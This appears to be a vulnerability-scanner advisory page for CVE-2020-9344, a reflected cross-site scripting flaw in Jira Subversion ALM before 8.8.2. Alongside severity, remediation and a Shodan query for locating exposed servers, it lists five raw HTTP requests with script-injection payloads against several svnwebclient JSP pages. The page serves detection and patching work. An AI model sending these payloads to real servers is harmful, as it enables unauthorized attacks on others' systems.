| Title | Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.36969 |
| CVE ID | CVE-2020-9344 |
| CWE ID | CWE-79 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve2020 cve atlassian jira xss vkev vuln |
Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
GET /plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9344.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9344.pcap
N/AN/A